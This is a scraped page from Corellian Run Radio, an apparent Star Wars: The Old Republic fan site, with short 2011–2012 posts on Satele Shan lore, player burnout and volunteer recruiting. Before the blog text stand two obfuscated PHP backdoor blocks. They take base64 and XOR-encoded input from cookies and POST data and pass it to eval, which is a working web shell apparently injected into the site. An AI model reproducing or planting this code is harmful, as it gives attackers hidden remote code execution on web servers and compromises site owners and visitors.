$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> CRR – Corellian Run Radio
May 022012

By Daniel Sperelli

Welcome to the Force Lore, ladies and gentlemen!  Yes, it’s time for your weekly dose of the who is who, where is where, and why is, well, you get the picture.  The Star Wars Universe is ever expanding with more and more details added all the time.  To get the lowdown on all of this, you have to be able to turn somewhere, so you know the lore/dirt behind the game.  That’s what we hope to provide here at Force Lore.

Last week we began with a short gloss-over of Satele Shan, the Grand Master of the Jedi Order.  For a CG character, I’m sure there’s more than one person out there that has dreamt of Satele being a romantic availability for their character.  And why not?  She’s modeled well.  I’m not trying to be sexist… Hey!  I’m just a guy!

Follow me after the jump as we detail more of Satele and how she got started.

Continue reading »

Apr 252012

By Daniel Sperelli

The first quarter of this year has not been kind.  Plagued by family emergencies and technical issues, I’ve felt like I’m behind the 8-ball quite a few times.  The past two weeks have been no exception, dealing with some very harsh computer problems, both hardware and software.  And what better time for it to happen then when Legacy 1.2 goes live!  But enough about personal issues.  You’re here to read about Star Wars and what makes the universe we love to play TOR in, tick.

This week, we’re going to briefly jump into what is hopefully only a 2 part lore edition on the head of the Jedi Council in the game, Grand Master Satele Shan.  Follow me in after the jump and we’ll get to the meat-and-potatoes of this in-game babe.

Continue reading »

Feb 012012

By Daniel Sperelli

The galaxy is a big place with billions upon billions of beings spread throughout it’s vast distances.  There are countless worlds and locations of note populating the expanse of the Star Wars Universe.  In Star Wars: TheOldRepublic, you, as a player, get the opportunity to travel through the galaxy and experience what it has to offer.  Force Lore on Corellian Run Radio will be your guide in knowing who, what, when, and why of the galactic storyline and what makes it tick.  Set your navicomputers and let’s make the jump into the heart of this!

Continue reading »

Jan 252012

by Thom

You might have noticed, or not noticed at all, that I did not do a column last week. It is in part to do with the subject of today’s column of course, but most of it was me burying into my exams because university sometimes needs that extra time spent. But what it boils down to, I was burned out on the game. I could not be bothered to play. I played some other games (Hearts of Iron 3, a World War 2 strategy game, and World of Warcraft respectively) instead, while mulling over what was keeping me from the game. Now I am playing again, and I shall tell you the small lessons I have learned over the past week about burnout and The Old Republic, so you might know what to expect if you ever encounter it, or what you might do to counter it.

More Thom’s Thought Transmission after this conveniently placed break!

Continue reading »

Jun 292011

Have you always wanted to be part of a fansite?  Do you love SWTOR? If so, we have a few volunteer positions available.

1. Staff Writer.  Do you love to write? We are looking for anything SWTOR-related: opinion pieces, articles on specific game features, latest SWTOR or Star Wars news, news of general gaming interest, etc.  We’re looking to expand content on the website, so if you have any ideas, we’re always ready to listen. Continue reading »

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